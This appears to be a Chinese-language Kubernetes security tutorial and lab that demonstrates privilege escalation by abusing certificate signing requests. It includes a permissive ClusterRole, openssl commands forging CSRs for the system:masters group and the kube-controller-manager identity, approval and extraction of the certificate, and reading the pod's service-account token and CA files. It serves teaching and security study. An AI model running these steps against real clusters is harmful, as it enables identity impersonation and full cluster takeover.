今天要介紹一個透過 SSL CSR 請求偽冒身分或是濫用權限的攻擊手法,一樣在攻擊前先看手法跟位置。參考 从攻击者视角聊聊K8S集群安全 - 上 一圖,屬於1號的攻擊手法(勘誤拿掉10號的部分 )。
另外依據微軟的 Threat-Matrix-for-Kubernetes,該手法隸屬資料如下 :
去年在鐵人賽中的 Day20 - 如果我沒看錯,你就是簽章中的霸主~ 心靈簽章(Psychic Signatures) 有提到所謂對稱式加密法、非對稱式加密法、簽章及驗章的相關概念。所以不熟的朋友可以再回去看一下,這邊直接用當時的圖快速帶過。
簽章及驗章
有了簽驗章的概念之後,來看看何謂憑證核發的概念。整體的架構流程可以參考下圖 Issuing self-signed certificates for SAML configuration。
參考 What Is CSR (Certificate Signing Request) in SSL?。A Certificate Signing Request or CSR is a block of encrypted text with the contact information (domain, company name, country, etc.) that an SSL applicant must submit to the Certificate Authority (CA) for validation. The CA uses the details within CSR to authenticate the applicant’s identity and issue the SSL certificate.
如同前面所提到的,在 K8s 中的使用者分為兩種,一般使用者和服務帳號,這次主要會專注在一般使用者身上。一般使用者的身分認證方式又有數種,這邊則是指講 X509 Client Certs。
如同官網所提到的範例。其中 CSR 請求檔中的 CN 欄位指的是使用者名稱,而 O 指的是使用者所屬的群組。
openssl req -new -key jbeda.pem -out jbeda-csr.pem -subj "/CN=jbeda/O=app1/O=app2" ;
但 CSR 請求檔畢竟是用戶端發出的請求,並不具備任何效力,因此可以透過 K8s 內建的機制去作 approve 核發憑證。之後使用送到 K8s 時,再透過 CA 的公鑰進行驗證即可知道該憑證是否為當初透過 CA 私鑰所簽發的。
假如今天使用者握有任意處理 CSR 的請求檔並且進行核發憑證,則可以想想看會發生甚麼事情? 感覺可以有兩種不同的攻擊面向,一個是冒用使用者身分,第二個是濫用高權限群組。以下是參考 Kubernetes RBAC: How to Avoid Privilege Escalation via Certificate Signing 以及 K8S API访问控制之RBAC利用 的 "CSR和签发证书" 章節的實作部分。
首先 serviceaccount 必須有讀取、驗證CSR的權限,以下是針對 default serviceaccount 綁定權限的資訊,並且隨便建立一個 pod 進行操作 (建議操作前先 minikube delete && minikube start) :
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr
rules:
- apiGroups: ["certificates.k8s.io"]
resources: ["certificatesigningrequests"]
verbs: ["create", "get", "list", "watch"]
- apiGroups: ["certificates.k8s.io"]
resources: ["certificatesigningrequests/approval"]
verbs: ["update"]
- apiGroups: ["certificates.k8s.io"]
resources: ["certificatesigningrequests/status"]
verbs: ["update"]
- apiGroups: ["certificates.k8s.io"]
resources: ["signers"]
verbs: ["approve", "sign"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: practice-csr-rolebinding
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: csr
subjects:
- kind: ServiceAccount
name: default
namespace: default
---
apiVersion: v1
kind: Pod
metadata:
name: csr-target-pod
spec:
containers:
- name: target-pod
image: aeifkz/my-ubuntu:v1.0
kubectl exec -it csr-target-pod -- bash ;
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" && chmod +x kubectl ;
openssl genrsa -out csr-test.key 2048 ;
# CN表示用戶名稱,O表示該用戶的群組
openssl req -new -key csr-test.key -out csr-test.csr -subj "/O=system:masters/CN=csr-test" ;
csr=`cat csr-test.csr | base64 | tr -d "\n"` ;
kubectl apply -f - <<EOF
apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
name: csr-test
spec:
request: $csr
signerName: kubernetes.io/kube-apiserver-client
expirationSeconds: 864000
usages:
- client auth
EOF
openssl req -new -key csr-test.key -out csr-test.csr -subj "/CN=system:kube-controller-manager" ;
csr=`cat csr-test.csr | base64 | tr -d "\n"` ;
kubectl apply -f - <<EOF
apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
name: csr-test
spec:
request: $csr
signerName: kubernetes.io/kube-apiserver-client
expirationSeconds: 864000
usages:
- client auth
EOF
kubectl get csr ;
kubectl certificate approve csr-test ;
kubectl get csr csr-test -o yaml ;
kubectl get csr csr-test -o jsonpath='{.status.certificate}'| base64 -d > csr-test.crt ;
#將檔案複製到根目錄方便操作
cp /var/run/secrets/kubernetes.io/serviceaccount/* / ;
#解譯內容,從 iss 中去解析
cat token ;
# 猜出 server ip 為 10.96.0.1
ping kubernetes.default.svc.cluster.local ;
#設定 server url
./kubectl config set-cluster cfc --server=https://10.96.0.1 --certificate-authority=ca.crt ;
./kubectl config set-context cfc --cluster=cfc ;
#差別在於這行,之前適用 token 進行認證
kubectl config set-credentials csr-test --client-key=csr-test.key --client-certificate=csr-test.crt --embed-certs=true ;
kubectl config set-context cfc --cluster=cfc --user=csr-test ;
kubectl config use-context cfc ;
kubectl auth can-i --list ;
作業五 : 請調整腳本去進行自動化的讀取 token、ca.crt、csr-test.key、csr-test.crt,並且於設定資料後切換 context,傳入參數不限方便使用即可。並練習利用 aquasecurity/kubectl-who-can 去挑選可以列出 pod 的使用者出來試試看。
今日總結 :
本日回顧 :
次日預告 :